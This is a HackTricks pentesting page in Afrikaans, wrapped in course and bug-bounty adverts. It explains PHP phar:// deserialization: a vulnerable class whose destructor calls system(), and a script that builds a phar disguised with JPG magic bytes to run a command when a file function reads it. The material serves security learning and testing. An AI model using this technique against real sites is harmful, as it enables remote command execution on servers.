phar:// deserialization

Leer AWS hakwerk van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Bug bounty wenk: teken aan vir Intigriti, 'n premium bug bounty platform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin om belonings te verdien tot $100,000!

Phar lêers (PHP Archive) lêers bevat meta data in geserializeerde formaat, dus, wanneer dit geïnterpreteer word, word hierdie metadata gedeserializeer en jy kan probeer om 'n deserialisasie kwesbaarheid binne die PHP kode te misbruik.

Die beste ding oor hierdie eienskap is dat hierdie deserialisasie selfs sal plaasvind as PHP funksies gebruik word wat nie PHP-kode evalueer nie, soos file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize().

Stel jou dus 'n situasie voor waar jy 'n PHP-webwerf kan laat die grootte van 'n willekeurige lêer kry deur die phar:// protokol te gebruik, en binne die kode vind jy 'n klas soortgelyk aan die volgende:

vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

Jy kan 'n phar-lêer skep wat, wanneer dit gelaai word, hierdie klas misbruik om willekeurige opdragte uit te voer met iets soos:

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

Merk op hoe die sielkundige bytes van JPG (\xff\xd8\xff) by die begin van die phar-lêer gevoeg word om moontlike lêer oplaai beperkings te vermy. Kompileer die test.phar lêer met:

php --define phar.readonly=0 create_phar.php

En voer die whoami bevel uit deur misbruik te maak van die kwesbare kode met:

php vuln.php

Verwysings

Foutjagtip: teken aan vir Intigriti, 'n premium foutjagplatform geskep deur hackers, vir hackers! Sluit vandag by ons aan by https://go.intigriti.com/hacktricks en begin om belonings tot $100,000 te verdien!

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated